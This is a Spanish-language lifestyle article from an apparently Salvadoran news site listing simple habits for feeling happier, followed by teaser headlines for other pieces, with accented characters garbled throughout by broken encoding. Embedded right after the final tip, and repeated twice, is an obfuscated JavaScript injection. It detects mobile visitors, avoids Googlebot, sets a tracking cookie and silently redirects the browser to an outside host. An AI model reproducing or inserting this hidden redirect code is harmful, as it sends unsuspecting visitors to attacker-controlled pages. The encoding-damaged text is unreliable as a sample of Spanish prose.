Entretenimiento

6 Dic 2015
Entretenimiento | Por: Redacción

Una receta sencilla para ser mA?s feliz y libre

Salir a tomarte un cafAi??, escribir, escuchar mA?sica, darle importancia a las cosas pequeAi??as y rodearte de gente que te aporte cosas buenas, son solo algunas medidas para que logrAi??s ser mA?s feliz y sentirte bien con vos mismo.

Fuente: entrepreneur.com

A?CA?mo podrAi??as definir la felicidad? A menudo suele decirse aquello de que la felicidad no son cosas, y en cierto modo es algo que no podemos negar. Porque la felicidad son sensaciones momentA?neas, es una brisa fresca durante una tarde de verano en la playa, una caricia que no esperA?s, una llamada o mensaje inesperado, una sonrisa en la calle de un desconocido y es tambiAi??n, un suspiro satisfecho de quien se siente bien y no necesita nada mA?s.

Queda claro tambiAi??n que estas sensaciones ai???tan elevadasai??? no se pueden tener todos los dAi??as, pero en realidad podemos disfrutar de ese bienestar cotidiano que se encuentra en los actos mA?s sencillos, en las cosas mA?s pequeAi??as. A?QuerAi??s ser un poco mA?s feliz cada dAi??a? Entonces atrAi??vete con alguno de estos aspectos.

  1. Hay que dejar ir a quien nunca hizo nada para quedarse

ReflexionA? por unos instantes en todo ese cAi??rculo social que tenAi??s a tu alrededor. En ocasiones, nuestra felicidad cotidiana estA? muy limitada por esas personas que siempre se priorizan a sAi?? mismas, que te buscan por interAi??s propio o que simplemente no te dejan espacio personal. Te limitan, te vulneran.

A?QuAi?? se debe hacer con eso? Hay algo que debAi??s tener claro: si cargas sobre tu espalda a todo ai???un equipoai??? de amistades poco adecuadas, o personas que te traen mA?s incomodidad que felicidad, al final, no podrA?s andar en tu sendero vital. No merece la pena, dejalos ir. RompAi?? el vAi??nculo, o al menos dejA? de reforzarlo. Quedate con lo mejor y tu dAi??a a dAi??a serA? mA?s pleno. Rodeate de personas autAi??nticas.

  1. EscapA? de la rutina y hacAi?? algo diferente cada dAi??a

La rutina no es buena, en realidad oxida cerebros y quita ilusiones y emociones. Queda claro que todos tenemos obligaciones, trabajos que cumplir, clases a las que acudir, pero bien, siempre que te sea posible, hacAi?? lo siguiente:

– TrazA? un objetivo para el final del dAi??a: tomar un cafAi?? con alguien, ir al cine, comprarte algo que te gusta, por pequeAi??o que sea.

– CambiA? de ruta. A?Siempre vas al trabajo o a clase por el mismo camino? De vez en cuando es sugerible irte por otra calle u otra forma de desplazarte.

-Planteate un objetivo cada dAi??a, una ilusiA?n. PensA? en cosas nuevas. HacAi?? que cada dAi??a sea diferente en algA?n aspecto, aunque sea en tu mente.

  1. VivAi?? el aquAi?? ahora y aprendAi?? de los errores

Hay quien vive casi obsesionado con lo que debe entregar, cumplir o realizar para el dAi??a de maAi??ana. No se trata de ser irresponsables y no pensar en nuestras obligaciones, se trata de mantener los pies en la tierra y sobre todo, abrir los ojosai??i?? A?QuAi?? es lo que ves? El dAi??a es esplAi??ndido, pasan cosas, pasa gente ante tus ojos que tal vez te estA?s perdiendo. Centrate en lo que hacAi??s hoy y que eso te ayude a construir el maAi??ana.

  1. No dejAi??s para maAi??ana los abrazos que podAi??s dar hoy

A?TenAi??s pareja? Pues abrazala y olvidA? la discusiA?n que tuviste hace un momento. A?CuA?ntos amigos autAi??nticos tenAi??s? Adelante, dales un abrazo que los hagas caer de espaldas, son cosas que no se olvidan y que unen vAi??nculos, que crean magia. A?TenAi??s una mascota? Pues quAi?? esperas para demostrarle el cariAi??o que le tenAi??s.

  1. EnriquecAi?? tu mente con nuevos retos

Es esencial que mantengA?s activa tu mente cada dAi??a. No solo te darA? felicidad, te harA? sentir mA?s libre, mA?s unido con vos mismo, mA?s ilusionado y capaz. Aprender algo nuevo cada dAi??a te aporta ese nerviosismo interno que hacen crecer a tu cerebro y alimentar tu curiosidad.

Para ello, vale la pena que tengA?s en cuenta estos sencillos aspectos:

– No des por sentado todo lo que te dicen ni toda la informaciA?n que recibA?s. BuscA? tu propia opiniA?n y sAi?? crAi??tico.

– CreA? algo cada dAi??a: un dibujo, un poema, una frase, incluso mA?sica. La creaciA?n incentiva la imaginaciA?n y te obliga a buscar mA?s informaciA?n.

– EscuchA? a la gente, abrAi?? tu mente y ante todo sAi?? flexible. Enriquecete de las conversaciones con tus amigos, atendAi??, escuchA?, debatAi??, aportA? tu opiniA?n y disfrutA? de esos debates cotidianos.

– LeAi?? algo cada dAi??a, que el final de un libro sea la invitaciA?n a empezar otro nuevo.

– EscuchA? mA?sica, permitAi?? que se expanda tu interior para ver el mundo con otra luz. Es un modo sencillo de ser feliz y de dar felicidad a tu cerebro.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

15 Jun 2017
ai???Todos debemos apoyar nuestra mA?sica nacionalai???- A?lvaro Aguilar, vocalista de Alux Nahual
Entretenimiento | Por: Redacción

ai???Todos debemos apoyar nuestra mA?sica nacionalai???- A?lvaro Aguilar, vocalista de Alux Nahual

26 Jul 2016
Teatro Poma realizarA? homenaje a Shakespeare
Entretenimiento | Por: Redacción

Teatro Poma realizarA? homenaje a Shakespeare

8 Jul 2016
Los mejores memes polAi??ticos de los A?ltimos meses
Entretenimiento | Por: Redacción

Los mejores memes polAi??ticos de los A?ltimos meses

6 Jul 2016
La sonda espacial ai???Junoai??i?? llegA? a JA?piter tras cinco aAi??os de viaje
Entretenimiento | Por: Redacción

La sonda espacial ai???Junoai??i?? llegA? a JA?piter tras cinco aAi??os de viaje